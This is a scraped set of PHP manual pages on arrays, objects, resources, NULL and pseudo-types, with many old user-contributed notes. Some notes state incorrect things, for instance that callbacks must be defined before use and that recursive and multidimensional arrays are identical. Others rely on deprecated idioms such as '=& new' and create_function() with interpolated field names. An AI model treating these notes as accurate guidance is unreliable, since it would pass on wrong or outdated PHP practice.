<input type="checkbox" name="foo['bar'][]" ...
It doesn't work.

This should work:
<input type="checkbox" name="foo[bar][]" ...
agape_logos at shaw dot ca 11-Jul-2003 04:59
I was having trouble getting javascript arrays and php arrays to work together with a Check All checkboxe.  Here is a simple solution.  Clicking the 'Check All' checkbox will check all checkboxes on the form.

<script language="JavaScript">
function chkAll(frm, arr, mark) {
  for (i = 0; i <= frm.elements.length; i++) {
    try{
      if(frm.elements[i].name == arr) {
        frm.elements[i].checked = mark;
      }
    } catch(er) {}
  }
}
</script>

<form name='foo'>
<input type="checkbox" name="ca" value="1" onClick="chkAll(this.form, 'formVar[chkValue][]', this.checked)">
<?php
for($i = 0; $i < 5; $i++){
echo("<input type='checkbox' name='formVar[chkValue][]' value='$i'>");
}
?>
</form>

Dean M.
chroniton .at. gmx .dot. li 26-Mar-2003 10:13
I didn't find this anywhere in the docs and i think it is worth a mention:

$a[] = &$a;
print_r($a);

// will output:

/*
Array
(
    [0] => Array
 *RECURSION*
)

*/

// this means that $a[0] is a reference to $a ( that is detected by print_r() ). I guess this is what the manual calls 'recursive arrays'.
07-Mar-2003 03:28
"Using NULL as a key will evaluate to an empty string. Using an emptry string as key will create (or overwrite) a key with an empty string and its value, it is not the same as using empty brackets."

If you create an array like this:
$foo = array(null => 'bar');
And then want to access 'bar', you must use this syntax:
echo $foo['']; // notice the two single quotes

This will of course cause a fatal error:
echo $foo[];
wmoranATpotentialtechDOTcom 29-Nov-2002 03:10
Dereferencing arrays takes some time, but is not terribly expensive.
I wrote two dummy loops to test performance:
for ($i =0; $i < count($a); $i++) {
 $x = $a[$b[$i]];
 $y = $a[$b[$i]];
 $z = $a[$b[$i]];
}
for ($i =0; $i < count($a); $i++) {
 $q = $b[$i];
 $x = $a[$q];
 $y = $a[$q];
 $z = $a[$q];
}

The first loop is 6.5% slower than the second.  Meaning that dereferencing arrays is not terribly expensive, unless you do it a whole lot. I would expect that each extra reference costs about 3% in speed. The lesson is that if you're going to be using a specific value in an array for a number of operations, you can gain a little speed by assigning it to a temp variable (or creating a reference with $q = &$b[$i]) but it's not worth getting crazy over.
I tested this with iterations of 10,000 and 100,000 on php 4.2 and the results were consistent.
mu at despammed dot com 14-Oct-2002 11:50
Recursive arrays and multi-dimensional arrays are the same thing and completely identical.

The following confirms this:

$fruits1["european"]["green"] = "Apple";
$fruits2 = array ( "european"  => array ( "green" => "Apple"));
print ($fruits1 === $fruits2);

Result: 1 (= true)
hramrach_L at centrum. cz ;-) 11-Jun-2002 05:40
Arrays can be merged using + as discussed in the notes for array_merge.
 http://www.php.net/manual/en/function.array-merge.php
philip at boone dot at 24-May-2002 06:06
For all of you having problems when using php arrays in an HTML form input field name, and wanting to validate the form using javascript for example, it is much easier to specify an id for the field as well, and use this id for validation.

Example:

<input type="text" id="lastname" name="fields[lastname]">

then in the javascript check:

if(formname.lastname.value == "") {
     alert("please enter a lastname!");
}

This works very well. If you have any problems with it, let me know.
Strings
Objects
Types


Objects

Object Initialization

To create a new object, use the new statement to instantiate a class:

<?php
class foo
{
    function do_foo()
    {
        echo "Doing foo.";
    }
}

$bar = new foo;
$bar->do_foo();
?>

For a full discussion, see the Classes and Objects chapter.

Converting to object

If an object is converted to an object, it is not modified. If a value of any other type is converted to an object, a new instance of the stdClass built-in class is created. If the value was NULL, the new instance will be empty. Arrays convert to an object with properties named by keys, and corresponding values. For any other value, a member variable named scalar will contain the value.

<?php
$obj = (object) 'ciao';
echo $obj->scalar;  // outputs 'ciao'
?>

User Contributed Notes

helpful at stranger dot com 04-Jan-2012 01:15
By far the easiest and correct way to instantiate an empty generic php object that you can then modify for whatever purpose you choose:

<?php $genericObject = new stdClass(); ?>

I had the most difficult time finding this, hopefully it will help someone else!
razvan_zarzu at yahoo dot com 19-Oct-2011 07:46
In PHP 5.3.6, even if the following code doesn't have any apparent syntax errors:

<?php
class Test {
  public $a = SplFixedArray::fromArray(array());
}
?>

, the result is:

Parse error: syntax error, unexpected '(', expecting ',' or ';' in ~\test.php on line 3

This is because on an implicit object initialization of $a, which is not allowed in PHP.
Hope this helps someone.
arnold at jasny dot net 10-Jun-2011 06:25
Casting scalars to objects can give unexpected results:

<?php
  $foo = "something";
  $bar = (object)$foo;
  var_dump($foo == $bar); // Outputs "bool(false)"
?>
contact at mullanaphy dot com 02-Mar-2011 01:26
Have an stdClass and want to convert it recursively to an array, or vice versa? Here's two very simple functions.

<?php
    # A static class of mine, has more conversions in it, yet these two are the relevent ones.
    final class Convert {
        # Convert a stdClass to an Array.
        static public function object_to_array(stdClass $Class){
            # Typecast to (array) automatically converts stdClass -> array.
            $Class = (array)$Class;

            # Iterate through the former properties looking for any stdClass properties.
            # Recursively apply (array).
            foreach($Class as $key => $value){
                if(is_object($value)&&get_class($value)==='stdClass'){
                    $Class[$key] = self::object_to_array($value);
                }
            }
            return $Class;
        }

        # Convert an Array to stdClass.
        static public function array_to_object(array $array){
            # Iterate through our array looking for array values.
            # If found recurvisely call itself.
            foreach($array as $key => $value){
                if(is_array($value)){
                    $array[$key] = self::array_to_object($value);
                }
            }

            # Typecast to (object) will automatically convert array -> stdClass
            return (object)$array;
        }
    }
?>
Cosmitar: mhherrera31 at hotmail 07-Dec-2010 10:47
i would like to share a curious behavior on casted objects. Casting an object from a class with private/protected attributes results a stdClass with a private/protected attribute for get.
Example:
<?PHP
class Foo{
 private $priv = 1;
 public $pub = 2;
 public function getSimple(){
  return (object)(array) $this; //the array cast is to force a stdClass result
 }
}
$bar = new Foo();
var_dump($bar->getSimple();// output: object(stdClass)#3 (2) { ["priv:private"]=> int(1) ["pub"]=> int(2) }

var_dump($bar->getSimple()->priv);// output: NULL, not a Fatal Error
var_dump($bar->getSimple()->pub);// output: int(2)

$barSimple = $bar->getSimple();
$barSimple->priv = 10;
var_dump($barSimple->priv);// output: int(10)

?>
Anonymous 05-Jan-2010 02:10
Initialization, Instantiation and Instances are terms that can be confusing at first. Let's try to sort it out starting with this simple class definition.

<?php

class User
{
  public $first_name;
  public $last_name;

  public function __toString()
  {
    return "User [first='$this->first_name', last='$this->last_name']";
  }
}

?>

Now create several INSTANCES of User by INSTANTIATING the User class above.

<?php
$user_1 = new User;        // $user_1 is an INSTANCE of User
$user_2 = new User;        // $user_2 is an INSTANCE of User
echo $user_1 . '<br>';     // User [first='', last='']
echo $user_2 . '<br>';     // User [first='', last='']
?>

Here we have (2) two INSTANCES of User, but each instance was only INSTANTIATED once - when we used the 'new' operator.

And now looking at the printed output, you can see there are no values for their first or last names. This means that the objects themselves have NOT been INITIALIZED. To remedy this situation, rewrite the class definition by adding a __construct() method.

<?php

class User
{
  public $first_name;
  public $last_name;

  public function __construct($first, $last)    // Require first and last names when INSTANTIATING
  {
    $this->first_name = $first;                 // INITIALIZE $first_name;
    $this->last_name = $last;                   // INITIALIZE $last_name;
  }

  public function __toString()
  {
    return "User [first='$this->first_name', last='$this->last_name']";
  }
}

?>

Now try it again.

<?php
$user_1 = new User('John', 'Doe');      // $user_i is an INSTANCE of User
$user_2 = new User('Jane', 'Doe');      // $user_2 is an INSTANCE of User
echo $user_1 . '<br>';                  // prints: User [first='John', last='Doe']
echo $user_2 . '<br>';                  // prints: User [first='Jane', last='Doe']
?>

The __construct() method is called automatically by PHP when it sees the 'new' operator. Our __construct() method above requires the first and last names to be passed in as arguments and uses them to INITIALIZE objects when INSTANTIATING new INSTANCES.
mailto dot aurelian at gmail dot com 18-Dec-2009 09:56
You can create [recursive] objects with something like:
<?php
  $literalObjectDeclared = (object) array(
     'foo' => (object) array(
          'bar' => 'baz',
          'pax' => 'vax'
      ),
      'moo' => 'ui'
   );
print $literalObjectDeclared->foo->bar; // outputs "baz"!
?>
spidgorny at gmail dot com 22-Jul-2009 01:58
If having

class BugDetails extends Bug

you want to cast an object of a Bug to BugDetails like this
<?php
    $clone = (BugDetails) clone $this;
// OR
    $clone = (BugDetails) $bug;
?>
which doesn't work in PHP, you have two options:
1. Copying all (including private) properties manually (you could also use get_object_vars(), but this is shorter):
<?php
    $clone = new BugDetails();
    foreach ($this as $key => $val) {
        $clone->$key = $val;
    }
?>
2. Serialize an object Bug, manipulate the resulting string so that it has BugDetails inside and unserialize it.
See here: http://blog.adaniels.nl/articles/a-dark-corner-of-php-class-casting/

Spent two hours looking for more elegant solution, that's my findings.
cFreed at orange dot fr 22-Apr-2009 06:21
CAUTION:
"Arrays convert to an object with properties named by keys, and corresponding values".

This is ALWAYS true, which means that even numeric keys are accepted when converting.
But the resulting properties cannot be accessed, since they don't match the variables naming rules.

So this:
<?php
$x = (object) array('a'=>'A', 'b'=>'B', 'C');
echo '<pre>'.print_r($x, true).'</pre>';
?>
works and displays:
stdClass Object
(
    [a] => A
    [b] => B
    [0] => C
)

But this:
<?php
echo '<br />'.$x->a;
echo '<br />'.$x->b;
echo '<br />'.$x->{0}; # (don't use $x->0, which is obviously a syntax error)
?>
fails and displays:
A
B
Notice: Undefined property: stdClass::$0 in...
edgar dot klerks at gmail dot com 17-Mar-2009 07:04
I saw there was some confusing about what the & operator does in php in relation to objects. So I made an illustrative example:

<?php

class Test {
}
class Test2 {
}

print "---\n";
/* A normal assignment makes test2 into a reference to the object

result:
---
object(Test)#1 (0) {
}
object(Test2)#2 (0) {
}

*/
$test1 = new Test;
$test2 = $test1;
$test2 = new Test2;;
print var_dump($test1);
print var_dump($test2);
/* If we use & we make test2 a reference to $test1

result:
---
object(Test2)#2 (0) {
}
object(Test2)#2 (0) {
}

try instead $test2 = 'pipo';
*/
print "---\n";
$test1 = new Test;
$test2 =& $test1;
$test2 = new Test2;
print var_dump($test1);
print var_dump($test2);

/* If we want to prevent, we ever overwrite what is in $test1, we can do the following:

$test2 =& new Test2;

I don't understand what happens here exactly.
result:
---
object(Test)#3 (0) {
}
object(Test2)#2 (0) {
}

*/
print "---\n";
$test1 = new Test;
$test2 =& $test1;
$test2 =& new Test2;
print var_dump($test1);
print var_dump($test2);
?>
wbcarts at juno dot com 29-Sep-2008 03:40
ON-THE-FLY!!!

In response to Bobs note below (and Rick's somewhat): It is much better to predefine the object you want to create. This is because in all the programs you write, you will still create objects On-the-Fly anyway:

$foo = 'My String Object';      // on-the-fly!
$bar = 45;                      // on-the-fly!
$obj = new stdClass();          // on-the-fly!
$obj->blah = 3;                 // on-the-fly!

So what's missing above? Real control over WHAT your program does, HOW it does it, and HOW your data is organized. Let's say your code $obj->blah = 3 was 'blah' because 3 was your last Test Score (take no offense, I've done worse!). In that case, you could use code like so:

<?php

class Test{
  const MIN = 0, MAX = 100;     // acceptable range for a test

  protected $person;            // person taking the test
  protected $score;             // use the word 'score' because 'blah' is meaningless

  public function __construct($p, $s){
    $this->person = $p;
    $this->score = self::clamp($s);
  }

  protected static function clamp($val){
    if($val < self::MIN) $val = self::MIN;
    if($val > self::MAX) $val = self::MAX;
    return $val;
  }

  public function __toString(){
    return "Test [person=$this->person, score=$this->score%]";
  }
}

$obj = new Test("John Doe", 83);    // on-the-fly!
echo (object)$obj;                  // outputs 'Test [person=John Doe, score=83%]'
?>

Writing your own class definitions help maintain the "integerity" of your objects - see how the clamp() function keeps test scores between 0 and 100 percent? PHP  uses similar techniques to set min and max vals on Numbers. And, classes like Test are way more useful than objects created with an empty shell, uh em, stdClass. In addition, you can see WHAT, WHERE, WHY, and HOW your program actually works... On-the-Fly!

-->
Isaac Z. Schlueter i at foohack dot com 30-Aug-2008 05:31
In response to Harmor and Mithras,  you can use the json functions to convert multi-dimensional arrays to objects very reliably.

Also, note that just using (object)$x doesn't allow you to access properties inline.  For example, this is invalid:

<?php
$x = array("foo"=>"bar");
echo ((object)$x)->foo; // PHP Parse error, unexpected T_OBJECT_OPERATOR
?>

However, this function will let you do that, and will also handle multi-dimensional arrays without any hassle.

<?php
function to_object ($x) {
    return (is_object($x) || is_array($x)) ? json_decode(json_encode($x)) : (object) $x;
}

echo to_object( array("foo"=>"bar") )->foo; // "bar"
?>

Note that *numeric* arrays will not be converted to objects using this method.
Mithras 21-Aug-2008 06:54
In response to harmor: if an array contains another array as a value, you can recursively convert all arrays with:

<?php
function arrayToObject( $array ){
  foreach( $array as $key => $value ){
    if( is_array( $value ) ) $array[ $key ] = arrayToObject( $value );
  }
  return (object) $array;
}
?>
Rick 18-Apr-2008 10:35
Bob, I think you solution is to use stdClass and add properties on the fly...

$obj = new stdClass();
$obj->data ="This is the solution";
bob 10-Apr-2008 08:03
Why is there nothing in the docs about instantiating a generic object?  ie new object() - it does not work.

If one wants to create a dynamic object on the fly, the only option I see is to create it implicitly, by creating a child of it - ghetto:

unset($obj);
$obj->blah = 3;
harmor 10-Mar-2008 12:17
Environment: PHP/5.2.5

Note that multi-dimentional arrays are not converted to objects, only the first level is like this:

Input:
<?php
$arr = array('nameOfAKey'=>array('subKeyName'=>'itsValue'));
$obj = (object)$arr;
echo '01: '.print_r($obj->nameOfAKey, true).'<br />';  //As expected
echo '02: Test: ('.var_export($obj->nameOfAKey->subKeyName,true).')'  //Not supported
?>

Output:
01: Array ( [subKeyName] => itsValue )
02: Test: (NULL)
gabe at fijiwebdesign dot com 21-May-2007 09:25
In response to sirbinam.
You cannot call a function or method before it exists. In your example, the global instance of stdout is just being passed around to differnet references (pointers). It however exists in the "dump" function scope via the global keyword.

The code below works fine and illustrates that "stdout" has been defined before its instantiation.

<?php

class profiler{
  function profiler(){
    $this->starttime = microtime();
  }

  function dump(){
    global $stdout;
    $this->endtime = microtime();
    $duration = $this->endtime - $this->starttime;
    $stdout->write($duration);
  }
}

class stdout{
  function write($msg){
    echo $msg;
  }
}

$stdout =& new stdout();
$profiler =& new profiler();
$profiler->dump();

?>

All classes and functions declarations within a scope exist even before the php execution reaches them. It does not matter if you have your classes defined on the first or last line, as long as they are in the same scope as where they are called and are not in a conditional statement that has not been evaluated yet.
ludvig dot ericson at gmail dot com 18-Aug-2006 03:35
In reply to the usort thing, you can access a property of an object dynamically by:
<?php
$obj = (object)array("Test" => "bar")
$var = "Test";
echo $obj->$var;
?>
This will output "bar", and do notice I call on ->$var and not just ->var.
Trevor Blackbird > yurab.com 26-Nov-2005 09:33
You can create a new object using the built-in stdClass or by using type-casting:

<?php

// This is the proper way
$object1 = new stdClass();

// This works too
$object2 = (object) NULL;

// This will create an object from an array
$monkey_array = array('title'=>'Spider Monkey', 'src'=>'monkey.jpg');
$monkey_object = (object) $monkey_array;
print $monkey_object->title . ' ' . $monkey_object->src;

// You can type-cast in the middle of an expression
function customHTML($some_object) {
// this function expects an object as the argument and returns some output
}
print '<p>Writing some output ' . customHTML( (object) array('rows'=>3, 'cols'=>4) );

?>
james dot jones at firstinvestors dot com 10-Mar-2005 09:32
iblun:

Highly recommended that you NOT try to write your own sort function. Try something like this instead:

<?php

function sort_by_field($obj_array, $field)
{
   return usort($obj_array,
         create_function('$o1,$o2',
              "return (\$o1->$field < \$o2->$field) ? -1 : 1"));
}

?>

(Warning: untested code...)
iblun at gmx dot net 09-Mar-2005 05:08
To sort an array, that contains an object, after one fieldname inside the object, im using this function:

function objectSort($objectarray, $field)
{
    for ($a=0;$a < (count($objectarray)); $a++)
    {
        for ($b=0;$b < (count($objectarray)); $b++)
        {
            if ($objectarray[$a]->$field < $objectarray[$b]->$field)
            {
                $temp = $objectarray[$a];
                $objectarray[$a] = $objectarray[$b];
                $objectarray[$b] = $temp;
            }
        }
    }

    return $objectarray;
}
mortoray at ecircle-ag dot com 16-Feb-2005 02:07
If you use new to create items in an array, you may not get the results you want since the parameters to array will be copies of the original and not references.

By Example:
class Store {
    var $item = 3;
}

    $a = array( new Store() );
    $b = $a;
    $a[0]->item = 2;
    print( "|" . $b[0]->item . "| <br>" );   //shows 3

    $a = array();
    $a[] =& new Store();
    $b = $a;
    $a[0]->item = 2;
    print( "|" . $b[0]->item . "| <br>" );   //shows 2

This is extremely important if you intend on passing arrays of classes to functions and expect them to always use the same object instance!

Note: The following syntax is desired (or maybe even the default notation should translate as this):
   $a = array( &new Store() );
sirbinam at nospam dot please dot hotmail dot com 15-Nov-2004 06:46
<?php

class hack{}
$hack =& new hack;

class profiler{
  function profiler(){
    $this->startime = microtime();
  }

  function dump(){
    global $hack;
    $this->endtime = microtime();
    $duration = $this->endtime - $this->starttime; /* this won't actually work, it just the concept */
    $stdout->write($duration);
  }
}

class stdout{
  function write($msg){
    echo $msg;
  }
}

$stdout =& new stdout();
$hack =& $stdout;
$profiler->dump();

?>

/*
     *
     * In short this little hack allows us to call $stdout->write() from
     * $profiler->dump
     *
     * The problem is that $stdout doesn't exist yet and when the compiler
     * parses this class, it sends a fatal error and dies because you can't
     * refer to a method of an object that doesn't exist yet, even though
     * this method doesn't get called until the end of execution, when the
     * method does exist.
     * This is the same as not being able to use a function before it is
     * at least declared in say a header file. This is seen in C, Perl,
     * and pretty much every language known to man. (TTBOMK?)
     *
     * So what does this hack do?
     * The first thing that happens in the global scope is an empty class
     * definition, it then creates a object called $hack from this class.
     * All this does is allocate memory for an object, and places a pointer
     * at the begining of that memory segment.
     * When the compiler parses this class, it doesn't care that the $hack
     * object is empty, as long as it has somewhere to assign a function
     * pointer. Later in global scope the $stdout object is created.
     * After $stdout is created, we do $hack =& $stdout. The =&
     * (assign by reference) moves the pointer for $hack to the begining of
     * the memory segment for $stdout. So when we call $hack->write(), it
     * points to the exact same object->method() as $stdout->write(). So
     * this is actually very reliable, just don't tell a purist!
     */
jbinam at nospam dot please dot hotmail dot com 15-Nov-2004 06:46
<?php

class hack{}
$hack =& new hack;

class profiler{
  function profiler(){
    $this->startime = microtime();
  }

  function dump(){
    global $hack;
    $this->endtime = microtime();
    $duration = $this->endtime - $this->starttime; /* this won't actually work, it just the concept */
    $stdout->write($duration);
  }
}

class stdout{
  function write($msg){
    echo $msg;
  }
}

$stdout =& new stdout();
$hack =& $stdout;
$profiler->dump();

?>

/*
     *
     * In short this little hack allows us to call $stdout->write() from
     * $profiler->dump
     *
     * The problem is that $stdout doesn't exist yet and when the compiler
     * parses this class, it sends a fatal error and dies because you can't
     * refer to a method of an object that doesn't exist yet, even though
     * this method doesn't get called until the end of execution, when the
     * method does exist.
     * This is the same as not being able to use a function before it is
     * at least declared in say a header file. This is seen in C, Perl,
     * and pretty much every language known to man. (TTBOMK?)
     *
     * So what does this hack do?
     * The first thing that happens in the global scope is an empty class
     * definition, it then creates a object called $hack from this class.
     * All this does is allocate memory for an object, and places a pointer
     * at the begining of that memory segment.
     * When the compiler parses this class, it doesn't care that the $hack
     * object is empty, as long as it has somewhere to assign a function
     * pointer. Later in global scope the $stdout object is created.
     * After $stdout is created, we do $hack =& $stdout. The =&
     * (assign by reference) moves the pointer for $hack to the begining of
     * the memory segment for $stdout. So when we call $hack->write(), it
     * points to the exact same object->method() as $stdout->write(). So
     * this is actually very reliable, just don't tell a purist!
     */
nconantj 18-Jul-2004 12:43
php at electricsurfer.com,

More than a year later and here's some clarification of what's happening in your code, via comments in an otherwise verbatim copy.

<?
class c
{
   var $a = array('a'=>'aa','b'=>'ab');
   var $b = 'c';

   function show()
   {
       echo $this->a['a']; // -> 1st
       echo $this->a['b']; // outputs 'ab'

       $a = 'a';
       $b = 'b';

       echo $this->$a[$a]; // [] 1st, not what I expected
       //Above first becomes $this->$a['a'] by looking at the function's local $a
       //Next it becomes $this->a by again looking at the function's local $a, which references the class variable $a with no subscripts.
       // In order to reference elements of the class variable $a,
       // you want to use $this->a[$a]

       echo $this->$a[$b]; // does NOT output 'ab'
       // Same as above, but the first step $b becomes 'b'

       $this_a =& $this->$a; // work-around

       echo $this_a[$a]; // no question
       echo $this_a[$b];

       $a_arr = array('a'=>'b');

       echo $this->$a_arr[$a]; // [] 1st => outputs 'c'
       // This becomes $this->$a_arr['a'] which becomes $this->c,
       // by referencing the local variables first.
   }
}
$c = new c();
$c->show();
?>
info at keltoi-web dot com 25-Aug-2003 02:26
PHP supports recursive type definitions as far as I've tried. The class below (a _very_ simple tree) is an example:

class Tree {

var $_value = null;
var $_children = array();

function Tree ($value) {
  $this->_value = $value;
}

function addChild ($value) {
  $aux_node = new Tree ($value);
  $this->_children [] = $aux_node;
  return $aux_node;
}
}

As you can see, in addChild we reference Tree again...

However, you must be careful about references. See the chapter "References explained" for more details.

Hope this helps.
php at electricsurfer dot com 22-May-2003 09:25
Here's an example on operator precedence between ->  and []
& what happens with $object->$member[$array_element]

<?
class c
{
    var $a = array('a'=>'aa','b'=>'ab');
    var $b = 'c';

    function show()
    {
        echo $this->a['a']; // -> 1st
        echo $this->a['b']; // outputs 'ab'

        $a = 'a';
        $b = 'b';

        echo $this->$a[$a]; // [] 1st, not what I expected
        echo $this->$a[$b]; // does NOT output 'ab'

        $this_a =& $this->$a; // work-around

        echo $this_a[$a]; // no question
        echo $this_a[$b];

        $a_arr = array('a'=>'b');

        echo $this->$a_arr[$a]; // [] 1st => outputs 'c'
    }
}
$c = new c();
$c->show();
?>
Arrays
Resources
Types


Resources

A resource is a special variable, holding a reference to an external resource. Resources are created and used by special functions. See the appendix for a listing of all these functions and the corresponding resource types.

See also the get_resource_type() function.

Converting to resource

As resource variables hold special handlers to opened files, database connections, image canvas areas and the like, converting to a resource makes no sense.

Freeing resources

Thanks to the reference-counting system introduced with PHP 4's Zend Engine, a resource with no more references to it is detected automatically, and it is freed by the garbage collector. For this reason, it is rarely necessary to free the memory manually.

Note: Persistent database links are an exception to this rule. They are not destroyed by the garbage collector. See the persistent connections section for more information.

User Contributed Notes

Soos Gergely 26-Apr-2010 05:24
It is always wrong to assume that some operation, like casting to a resource makes no sense. People will always find some extreme case where it would be useful; like the previous example with mysql. My problem was that I wanted to start daemons from a web interface but the apache filehandles were inherited which caused that apache was unable to restart. If I could only typecast a number to a filehandle and then close it... Instead I had to write a small C program that closes every filehandle and then starts my program. I surely miss Apache2::SubProcess from perl. (Also, in perl you can reopen a file and then close it using IO::Handle module's fdopen. I'm just saying.)
wetmonkey__ at at __gmail dot com 15-Dec-2008 04:17
Resources are commonly used to iterate through a mysql or file handle.
example

<?php
while($row = mysql_fetch_row($resource)){
  echo $row[0] ;
}
?>

It's possible to fake this treatment.

<?php
class fakewhile{

public $arrayCount;
public $arrayCounter;

function setArrValues(){
   $this->arrValues = array(0 =>array("apple","artichoke","apricot"),1 => array("bears","dogs","cats"));
  $this->arrayCounter = 0;
  $this->arrayCount = count($this->arrValues);
}

function outputValues(){
/*
 * Anything until the if statement is evaluted one more
 * time then the array count value
 */
 $arrayInfo = $this->arrValues;
 $arrCounter = $this->arrayCounter;
 if($arrCounter > $this->arrayCount){
  return false;
 }
 $endCounter = $arrCounter+1;
 $this->arrayCounter = $endCounter;
 return $arrayInfo[$arrCounter];
}

}

$fw = new fakewhile();
$fw->setArrValues();
while($row = $fw->outputValues()){
    print_r($row);
}
?>

Hopefully will get someone started on completing a complete application.
adrian dot dziubek at gmail dot com 07-Jul-2008 08:55
I spent an hour trying to create mock setup for testing SQL queries. The explanation here, that a resource contains file handlers and therefore there is no sense in trying to create one is lame. Being unable to redefine functions, creating a fake resource was the second thing I tried to put test in place, but looking at the search results, I see I'm the first one to try... For me it looks like security by obscurity.
Objects
NULL
Types


NULL

The special NULL value represents a variable with no value. NULL is the only possible value of type NULL.

A variable is considered to be null if:

  • it has been assigned the constant NULL.

  • it has not been set to any value yet.

  • it has been unset().

Syntax

There is only one value of type null, and that is the case-insensitive keyword NULL.

<?php
$var = NULL;
?>

See also the functions is_null() and unset().

Casting to NULL

Casting a variable to null will remove the variable and unset its value.

User Contributed Notes

ryan at trezshard dot com 01-Jun-2011 08:31
This simple shorthand seems to work for setting new variables to NULL:

<?php
$Var;
?>

The above code will set $Var to NULL

UPDATE: After further testing it appears the code only works in the global scope and does not work inside functions.

<?php
function Example(){
  $Var;
  var_dump($Var);
}
?>

Would not work as expected.
quickpick 22-Apr-2011 03:36
Note: empty array is converted to null by non-strict equal '==' comparison. Use is_null() or '===' if there is possible of getting empty array.

$a = array();

$a == null  <== return true
$a === null < == return false
is_null($a) <== return false
james 20-Sep-2007 08:25
A little speed test:

<?php
$v = NULL;

$s = microtime(TRUE);
for($i=0; $i<1000; $i++) {
    is_null($v);
}
print microtime(TRUE)-$s;
print "<br>";

$s = microtime(TRUE);
for($i=0; $i<1000; $i++) {
    $v===NULL;
}
print microtime(TRUE)-$s;
?>

Results:

0.017982006072998
0.0005950927734375

Using "===" is 30x quicker than is_null().
nl-x at bita dot nl 09-Jul-2007 10:33
Watch out. You can define a new constant with the name NULL with define("NULL","FOO");. But you must use the function constant("NULL"); to get it's value. NULL without the function call to the constant() function will still retrieve the special type NULL value.
Within a class there is no problem, as const NULL="Foo"; will be accessible as myClass::NULL.
cdcchen at hotmail dot com 25-May-2006 08:17
empty() is_null() !isset()

$var = "";

empty($var) is true.
is_null($var) is false.
!isset($var) is false.
06-Jan-2006 01:51
// Difference between "unset($a);" and "$a = NULL;" :
<?php
// unset($a)
$a = 5;
$b = & $a;
unset($a);
print "b $b "; // b 5

// $a = NULL; (better I think)
$a = 5;
$b = & $a;
$a = NULL;
print "b $b "; // b
print(! isset($b)); // 1
?>
poutri_j at epitech dot net 26-Jul-2005 04:56
if you declare something like this :

<?php
class toto
{
    public $a = array();

    public function load()
    {
        if ($this->a == null) // ==> the result is true
            $a = other_func();
    }

}
?>

be carefull, that's strange but an empty array is considered as a null variable
rizwan_nawaz786 at hotmail dot com 18-Oct-2004 09:22
Hi
 Rizwan Here

   Null is the Constant in PHP. it is use to assign a empty value to the variable like

  $a=NULL;

  At this time $a has is NULL or $a has no value;

  When we declaire a veriable in other languages than that veriable has some value depending on the value of memory location at which it is pointed but in php when we declaire a veriable than php assign a NULL to a veriable.
dward at maidencreek dot com 12-Nov-2001 03:52
Nulls are almost the same as unset variables and it is hard to tell the difference without creating errors from the interpreter:

<?php
$var = NULL;
?>

isset($var) is FALSE
empty($var) is TRUE
is_null($var) is TRUE

isset($novar) is FALSE
empty($novar) is TRUE
is_null($novar) gives an Undefined variable error

$var IS in the symbol table (from get_defined_vars())
$var CAN be used as an argument or an expression.

So, in most cases I found that we needed to use !isset($var) intead of is_null($var) and then set $var = NULL if the variable needs to be used later to guarantee that $var is a valid variable with a NULL value instead of being undefined.
tbdavis at greyshirt dot net 11-Oct-2001 04:36
Unlike the relational model, NULL in PHP has the following properties:
NULL == NULL is true,
NULL == FALSE is true.
And in line with the relational model, NULL == TRUE fails.
Resources
Pseudo-types and variables used in this documentation
Types


Pseudo-types and variables used in this documentation

mixed

mixed indicates that a parameter may accept multiple (but not necessarily all) types.

gettype() for example will accept all PHP types, while str_replace() will accept strings and arrays.

number

number indicates that a parameter can be either integer or float.

callback

Some functions like call_user_func() or usort() accept user-defined callback functions as a parameter. Callback functions can not only be simple functions, but also object methods, including static class methods.

A PHP function is passed by its name as a string. Any built-in
or user-defined function can be used, except language constructs such as:
array(), echo(),
empty(), eval(),
exit(), isset(),
list(), print() or
unset().

A method of an instantiated object is passed as an array containing an object at index 0 and the method name at index 1.

Static class methods can also be passed without instantiating an object of that class by passing the class name instead of an object at index 0.

Apart from common user-defined function, create_function() can also be used to create an anonymous callback function. As of PHP 5.3.0 it is possible to also pass a closure to a callback parameter.

Example #1 Callback function examples

<?php

// An example callback function
function my_callback_function() {
    echo 'hello world!';
}

// An example callback method
class MyClass {
    static function myCallbackMethod() {
        echo 'Hello World!';
    }
}

// Type 1: Simple callback
call_user_func('my_callback_function');

// Type 2: Static class method call
call_user_func(array('MyClass', 'myCallbackMethod'));

// Type 3: Object method call
$obj = new MyClass();
call_user_func(array($obj, 'myCallbackMethod'));

// Type 4: Static class method call (As of PHP 5.2.3)
call_user_func('MyClass::myCallbackMethod');

// Type 5: Relative static class method call (As of PHP 5.3.0)
class A {
    public static function who() {
        echo "A\n";
    }
}

class B extends A {
    public static function who() {
        echo "B\n";
    }
}

call_user_func(array('B', 'parent::who')); // A
?>

Example #2 Callback example using a Closure

<?php
// Our closure
$double = function($a) {
    return $a * 2;
};

// This is our range of numbers
$numbers = range(1, 5);

// Use the closure as a callback here to
// double the size of each element in our
// range
$new_numbers = array_map($double, $numbers);

print implode(' ', $new_numbers);
?>

The above example will output:

2 4 6 8 10

Note: In PHP 4, it was necessary to use a reference to create a callback that points to the actual object, and not a copy of it. For more details, see References Explained.

Note:

Callbacks registered with functions such as call_user_func() and call_user_func_array() will not be called if there is an uncaught exception thrown in a previous callback.

void

void as a return type means that the return value is useless. void in a parameter list means that the function doesn't accept any parameters.

...

$... in function prototypes means and so on. This variable name is used when a function can take an endless number of arguments.

User Contributed Notes

liam at helios-sites dot com 06-Dec-2010 04:44
Note that (e.g.) usort calls on static methods of classes in a namespace need to be laid out as follows:

usort($arr, array('\Namespace\ClassName', 'functionName'));
michael dot martinek at gmail dot com 29-Aug-2009 09:20
The documentation is a little confusing, and with the recent OO changes it adds a little more to the confusion.

I was curious whether you could pass an object through the user func, modify it in that callback and have the actual object updated or whether some cloning was going on behind the scenes.

<?php
    class Test
    {
        var $sValue = 'abc';

        function testing($objTest)
        {
            $objTest->sValue = '123';
        }
    }

    $obj = new Test();

    call_user_func(array($obj, 'testing'), $obj);

    var_dump($obj);

?>

This works as expected: The object is not cloned, and $sValue is properly set to '123'. With the OO changes in PHP 5, you don't need to do "function testing(&$objTest)" as it is already passed by reference.
phpguy at lifetoward dot com 11-Jun-2009 05:44
I noticed two important thing about putting callbacks into an arg list when calling a function:

1. The function to which the callback refers must be defined earlier in the source stream. So for example:

function main() {...; usort($array, 'sortfunction'); ... }
function sortfunction($a, $b){ return 0; }

Will NOT work, but this will:

function sortfunction($a, $b){ return 0; }
function main() {...; usort($array, 'sortfunction'); ... }

2. It's not really just a string. For example, this doesn't work:

usort($array, ($reverse?'reversesorter':'forwardsorter'));

I found these two discoveries quite counterintuitive.
